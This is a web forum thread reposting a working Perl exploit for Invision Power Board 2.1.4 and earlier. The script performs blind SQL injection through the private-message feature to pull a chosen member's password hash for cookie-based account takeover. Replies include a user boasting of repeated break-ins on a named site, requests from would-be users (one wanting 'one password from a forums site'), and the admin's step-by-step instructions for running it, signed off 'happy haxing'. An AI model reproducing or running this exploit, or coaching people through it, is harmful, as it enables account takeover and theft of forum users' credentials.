|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
IPB <=2.1.4 exploit (possibly 2.1.5 too) |
|
Posted: Sat May 06, 2006 12:38 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Source:
http://packetstorm.linuxsecurity.com/0605-exploits/invision215-SQL.txt
Code: |
#!/usr/bin/perl
#############################################################################
## IPB <=2.1.4 exploit (possibly 2.1.5 too) ##
## Brought to you by the Ykstortion security team. ##
## ##
## The bug is in the pm system so you must have a registered user. ##
## The exploit will extract a password hash from the forum's data base of ##
## the target user. ##
## You need to know the target user's member ID but it's not difficult to ##
## find out, just look under their avatar next to one of their posts. ##
## Once you have the hash, simply unset all forum cookies and set ##
## member_id to the target user's member id and pass_hash to the hash ##
## obtained from the database by this script. ##
## ##
## Usage: ##
## $ ./ipb ##
## IPB Forum URL ? forums.example.com/forums ##
## Your username ? krypt_sk1dd13 ##
## Your pass ? if_your_on_nix_this_gets_hidden ##
## Target userid ? 3637 ##
## ##
## Attempting to extract password hash from database... ##
## 537ab2d5b37ac3a3632f5d06e8e04368 ##
## Hit enter to quit. ##
## ##
## Requirements: ##
## o Perl 5 ##
## o LWP 5.64 or later ##
## o Internet access ##
## o A forum you hate/dislike ##
## o A user on said forum ##
## o 32+ PMs left till your inbox is full, if not you can still delete ##
## PMs from your inbox as the successful ones come through ##
## ##
## Credit to: Nuticulus for finding the SQL injection ##
## ##
## Have fun, you dumb skiddie. ##
#############################################################################
use HTTP::Cookies;
use LWP 5.64;
use HTTP::Request;
# variables
my $login_page = '?act=Login&CODE=01';
my $pm_page = '?act=Msg&CODE=04';
my $pose_pm_page = '?';
my $tries = 5;
my $sql = '';
my $hash = '';
my $need_null = 0;
my $i;
my $j;
my @charset = ('0' .. '9', 'a' .. 'f');
my %form = (act => 'Msg',
CODE => '04',
MODE => '01',
OID => '',
removeattachid => '',
msg_title => 'asdf',
bbmode => 'normal',
ffont => 0,
fsize => 0,
fcolor => 0,
LIST => ' LIST ',
helpbox => 'Insert Monotype Text (alt + p)',
tagcount => 0,
Post => 'jkl');
# objects
my $ua = LWP::UserAgent->new;
my $cj = HTTP::Cookies->new (file => "N/A", autosave => 0);
my $resp;
# init the cookie jar
$ua->cookie_jar ($cj);
# allow redirects on post requests
push @{ $ua->requests_redirectable }, "POST";
# get user input
print 'IPB Forum URL ? ';
chomp (my $base_url = <STDIN>);
print 'Your username ? ';
chomp (my $user = <STDIN>);
$form{entered_name} = $user;
print 'Your pass ? ';
# systems without stty will error otherwise
my $stty = -x '/bin/stty';
system 'stty -echo' if $stty; # to turn off echoing
chomp (my $pass = <STDIN>);
system 'stty echo' if $stty; # to turn it back on
print "\n" if $stty;
print 'Target userid ? '; # it'll say next to one of their posts
chomp (my $tid = <STDIN>);
# parse the given base url
if ($base_url !~ m#^http://#) { $base_url = 'http://' . $base_url }
if ($base_url !~ m#/$|index\.php$#) { $base_url .= '/' }
do {
$resp = $ua->post ($base_url . $login_page,
[ UserName => $user,
PassWord => $pass,
CookieDate => 1,
]);
} while ($tries-- && !$resp->is_success());
# reset tries
$tries = 5;
# did we get 200 (OK) ?
if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" }
# was the pass right ?
if ($resp->content =~ /sorry, the password was wrong/i) {
die "Error: password incorrect.\n";
}
# get ourselves a post_key (and an auth_key too with newer versions)
do {
$resp = $ua->get ($base_url . $pm_page);
} while ($tries-- && !$resp->is_success());
# reset tries
$tries = 5;
if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" }
if ($resp->content =~ m#<input\s+?type=["']?hidden["']?\s+?name=["']?post_key["']?\s+?value=["']?([0-9a-f]{32})["']?\s+?/>#)
{
$form{post_key} = $1;
} else {
die "Error: couldn't get a post key.\n";
}
if ($resp->content =~ m#<input\s+?type=["']?hidden["']?\s+?name=["']?auth_key["']?\s+?value=["']?([0-9a-f]{32})["']?\s+/>#)
{
$form{auth_key} = $1;
}
# turn off buffering so chars in the hash show up straight away
$| = 1;
print "\nAttempting to extract password hash from database...\n ";
OFFSET:
for ($i = 0; $i < 32; ++$i) {
CHAR:
for ($j = 0; $j < @charset; ++$j) {
# reset tries
$tries = 5;
print "\x08", $charset[$j];
# build sql injection
$sql = '-1 UNION SELECT ' . ($need_null ? '0, ' : '') . 'CHAR('
. (join (',', map {ord} split ('', $user))) . ') FROM '
. 'ibf_members WHERE id = ' . $tid . ' AND MID('
. 'member_login_key, ' . ($i + 1) . ', 1) = CHAR('
. ord ($charset[$j]) . ')';
$form{from_contact} = $sql;
$resp = $ua->post ($base_url . $post_pm_page, \%form,
referer => $base_url . $pm_page);
if (!$resp->is_success()) {
die "\nError: " . $resp->status_line
. "\n" if (!$tries);
--$tries;
redo;
}
if ($resp->content =~ /sql error/i) {
if ($need_null) {
die "Error: SQL error.\n";
} else {
$need_null = 1;
redo OFFSET;
}
} elsif ($resp->content !~ /there is no such member/i) {
# we have a winner !
print ' ';
next OFFSET;
}
}
# uh oh, something went wrong
die "\nError: couldn't get a char for offset $i\n";
}
print "\x08 \x08\nHit enter to quit.\n";
<STDIN>;
|
|
|
|
|
|
|
|
|
|
Posted: Sat May 06, 2006 4:24 pm |
|
|
Lolz666 |
Regular user |
|
|
Joined: May 05, 2006 |
Posts: 10 |
|
|
|
|
|
|
|
Seen this before, i tested and it works however it is slow. And be sure to have room in your pm's! |
|
|
|
|
Posted: Mon May 22, 2006 1:28 am |
|
|
spid3r |
Regular user |
|
|
Joined: May 04, 2006 |
Posts: 7 |
|
|
|
|
|
|
|
Attempting to extract password hash from database...
00000000000000000000000000000000
Hit enter to quit.
how can i fix that |
|
|
|
|
Posted: Fri May 26, 2006 2:38 am |
|
|
Torian |
Regular user |
|
|
Joined: May 26, 2006 |
Posts: 8 |
|
|
|
|
|
|
|
lol this is old news.
for a big target try nerfhaven.com (ive already gone in more than once) |
|
|
|
|
Posted: Fri May 26, 2006 8:36 am |
|
|
Chb |
Valuable expert |
|
|
Joined: Jul 23, 2005 |
Posts: 206 |
Location: Germany |
|
|
|
|
|
|
Torian, please read the rules and delete the URL in your postings. Thanks. |
|
|
|
|
Posted: Sat May 27, 2006 2:01 pm |
|
|
Visios |
Beginner |
|
|
Joined: May 27, 2006 |
Posts: 1 |
|
|
|
|
|
|
|
Hi, i am realy new at IPB, but over the past 3 months of using it i have been hacked time and time agian, to the point of were i want to change forums, i believe that this is how i was hacked this time, i understand that to use this script the hacker needed to use a remote include, but i dont see how it was done, i was wondering if someone could help me out by telling me how to exicute this script, i know that i need to create a file with the above script and upload it to a server, but what commands do i use from there? |
|
|
|
|
Posted: Tue May 30, 2006 2:00 am |
|
|
Voyde |
Beginner |
|
|
Joined: May 30, 2006 |
Posts: 1 |
|
|
|
|
|
|
|
Hey does anyone wanna help me with this?
First Off After I Edit It To add the user and such....
Where do i put it? Do i host it? or send it in a pm?
If i host it what extension do i put it as? chmod?
Just wondering
thanks |
|
|
|
|
Posted: Sun Jun 11, 2006 6:23 am |
|
|
Kibbles |
Beginner |
|
|
Joined: Jun 11, 2006 |
Posts: 4 |
|
|
|
|
|
|
|
Hmmm, Yeah. How does a noob use this i wanna try this out. i trying running it thru DOS but when a run the command to the expolit.pl it opens up. in the notepad editor. so anyone like into explaining to noobs how this would be used... i think is a localy run exploit however im sure this is easy a easy to use for more advanced people. but anyone out there will to show a noob? |
|
|
|
|
Posted: Tue Jun 20, 2006 11:21 am |
|
|
IND |
Beginner |
|
|
Joined: Jun 20, 2006 |
Posts: 3 |
|
|
|
|
|
|
|
Sorry for my stupid post, but I am new here.
Could you tell me please what to do with this code, where to put it.
I know that I need Perl 5 and LWP 5.64, but I don't know what to do with them.
And I want to ask does it work with IPB 2.1.2?
Thanks |
|
|
|
|
|
|
|
|
Posted: Tue Jun 20, 2006 12:44 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
IND wrote: | Sorry for my stupid post, but I am new here.
Could you tell me please what to do with this code, where to put it.
I know that I need Perl 5 and LWP 5.64, but I don't know what to do with them.
And I want to ask does it work with IPB 2.1.2?
Thanks |
As written in exploit - "IPB <=2.1.4 exploit" - so it should work with 2.1.2 too. How to use?
I assume, that you are using windows and have allready installed Activeperl:
http://www.activestate.com/Products/ActivePerl/?psbx=1
Create directory "c:/ipb" and new text file in it, called "ipb.pl".
Now copy/paste exploit text to new file.
Next, open command prompt (start->run->cmd) and navigate to ipb folder, using "cd" commands.
And when you are in ipb folder, issue command "perl ipb.pl".
That's all - perl script will question some input parameters, like target server url and other stuff. And next - happy haxing |
|
|
|
|
|
|
|
|
Posted: Wed Jun 21, 2006 6:28 am |
|
|
IND |
Beginner |
|
|
Joined: Jun 20, 2006 |
Posts: 3 |
|
|
|
|
|
|
|
Thanks a lot waraxe!
Your answer is very helpful .
And thanks for this wonderful forum |
|
|
|
|
Posted: Wed Jun 21, 2006 8:14 pm |
|
|
IND |
Beginner |
|
|
Joined: Jun 20, 2006 |
Posts: 3 |
|
|
|
|
|
|
|
spid3r wrote: | Attempting to extract password hash from database...
00000000000000000000000000000000
Hit enter to quit.
how can i fix that |
Yes I have the same problem
Instead I got the md5 hash, I got 32 zeroes!
And when I check my inbox, i received a message with subject:
asdf
and a text in it:
jkl
but I can't find the md5 hash (it is not in the clipboard).
Maybe the problem is because I use ActivePerl(5.8.8 build 817) with Win2000, or the forum has some kind of security.
I would be very grateful if somebody has any idea about this problem. |
|
|
|
|
|
need help......IPB exploit |
|
Posted: Sat Jul 08, 2006 9:16 pm |
|
|
sitan |
Beginner |
|
|
Joined: Jul 08, 2006 |
Posts: 3 |
|
|
|
|
|
|
|
1.Wat should i do 4 an error like this. the exploit attempts till f and then....
Code: | Error: Coudnt get a char for offset 0 |
2.how to find the version of a IPB forum if not indicated anywere.
3.in the exploit the forum url is shown as ******.com/forum but wat if there is a site linked straight to the forum (******.com)
4.how to find the folder of a forum installed. |
|
|
|
|
Posted: Thu Jan 17, 2008 5:48 pm |
|
|
Blink |
Regular user |
|
|
Joined: Jan 17, 2008 |
Posts: 14 |
|
|
|
|
|
|
|
Error: couldn't get a post key.n at gamers-cafe.pl line 134, <STDIN> line 4.
That's the error i get, god knows why. |
|
|
|
|
Posted: Sun Mar 02, 2008 3:40 pm |
|
|
kaylee |
Beginner |
|
|
Joined: Mar 02, 2008 |
Posts: 1 |
|
|
|
|
|
|
|
I tried to download activeperl... the ipb.pl never showed up on my desktop or anywhere to be found... i just want one password from a forums site... is there any other way i could get this... or could someone tell me how to get the ipb.pl file?
thank you |
|
|
|
|
www.waraxe.us Forum Index -> Invision Power Board
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 2
Goto page 1, 2Next
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|